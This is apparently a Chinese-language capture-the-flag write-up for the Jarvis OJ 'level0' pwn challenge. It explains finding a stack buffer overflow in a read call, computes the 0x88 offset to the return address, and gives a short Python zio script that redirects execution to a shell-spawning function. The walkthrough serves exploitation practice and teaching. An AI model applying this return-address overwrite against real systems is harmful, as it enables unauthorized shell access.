简介 :
地址 : nc pwn2.jarvisoj.com 9881
程序 : level0.b9ded3801d6dd36a97468e128b81a65d
分析 :
-
查看文件类型
Paste_Image.png
- 在相应的环境中运行程序

- 直接使用 ida 反编译




发现一个函数 : callsystem
直接调用了 system 函数打开了一个 shell
因此 , 但是在程序的正常执行流程中并不会执行到这里
所以我们需要修改程序的执行逻辑 , 我们看到在 vulnerable_function
中
read 函数是有缓冲区溢出漏洞的 , 因此它将成为我们的入手点
我们来查看该函数的栈帧 (在该函数的汇编代码视图下按 Ctrl + K)


可以看到这里 buffer 的首地址和栈上的返回地址的距离是 : (+0x0000000000000008) - (-0x0000000000000080)
也就是 0x88 , 还是和上道题的思路基本类型 , 我们现在需要得到 callsystem 函数的地址

地址为 : 0x400596 , 小端序为 : \x96\x05\x40\x00\x00\x00\x00
然后利用脚本如下 :
import zio
junk = "A" * 0x88
address = "\x96\x05\x40\x00\x00\x00\x00"
payload = junk + address
Io = zio.zio("./level0")
# Io = zio.zio(("pwn2.jarvisoj.com", 9881))
Io.write(payload)
Io.interact()
运行结果如下 :


网友评论